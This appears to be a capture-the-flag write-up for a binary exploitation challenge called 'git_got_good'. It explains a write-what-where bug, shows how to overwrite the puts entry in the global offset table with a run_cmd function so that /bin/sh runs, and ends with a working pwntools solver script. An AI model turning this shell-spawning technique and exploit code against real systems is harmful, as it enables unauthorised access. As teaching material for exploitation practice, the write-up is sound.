git it, GOT it, good!

Overwriting GOT to get a shell.

3 min read


Table of Contents

[ + ] Overview
[ + ] Reversing
[ + ] Exploiting
[ + ] Solution

[ + ]Overview

Running the binary for the first time we see the following:

Image

There is no address space layout randomization protections on the binary, which makes it possible for us to exploit the vulnerability found.

[ + ]Reversing

 main

Here is the important chunk of the main function.

We can see a few things from the section highlighted in yellow.

  1. 0x18 (24) bytes are read onto the stack using fgets
  2. 8 bytes are moved into rcx from rbp-8 -> rbp-16
  3. 8 bytes are moved into rax from rbp-24 -> rbp-32
  4. 8 bytes are moved into rdx from rbp-16 -> rbp-24
  5. The value at the address of rcx is overwritten by rax
  6. The value at the address of rcx+8 is overwritten by rdx
  7. 8 bytes are moved into rax from rbp-24 -> rbp-32 and used at the parameter to puts

Now that we have that layed out we can understand the vulnerability. We can overwrite the value at some address we specify by some value we specify. In this case we can opt to overwrite the global offset table (see tab got), and more specifically puts with the address of run_cmd and pass the parameter of our choosing.

See the next section for more details.

Image
 run_cmd

Here we can see run_cmd.

run_cmd takes a single argument of 8 bytes and passes that as an argument to system.

Image
 got

Here we can see the global offset table.

The global offset table is writeable, and since PIE is not enabled, it makes it easy for us to change the value at 0x601018 to overwrite the value of puts.

Image

[ + ]Exploiting

To exploit this vulnerability, we can pass 24 bytes into the input, such that we overwrite the puts entry in the got with that of run_cmd and pass /bin/sh as the argument to run_cmd.

The input is as follows:

-------------------------------------------------------------------
|    /bin/sh    |    run_cmd address    |     puts@got address    |
-------------------------------------------------------------------

This will look as follows on the stack:

--------------------------
|     /bin/sh            |
--------------------------
|    run_cmd address     |
--------------------------     
|    puts@got address    |
--------------------------

Causing puts@got to be overwritten with run_cmd and /bin/sh to be the paramater of the "puts" call.

We can see this when debugging.

Image

We can also see the got being modified after running step by step:

Image

Then when we get to the "puts" call, we see the following:

Image

[ + ]Solution

Image
 Solver
from pwn import *
from pwnlib.util.packing import *

# Context
context.arch = 'amd64'
# context.log_level = 'DEBUG'


def pwn():
    conn = process(['/tmp/lima/git_got_good'])
    pause()

    conn.recvuntil(b'Anyways, give me a string to save:')
    # /bin/sh, run_cmd, _puts address - 8
    # got writeable
    conn.sendline(p64(0x68732F6E69622F) + p64(0x000000000040074B) + p64(0x0000000000601010))
    conn.interactive()


if __name__ == "__main__":
    pwn()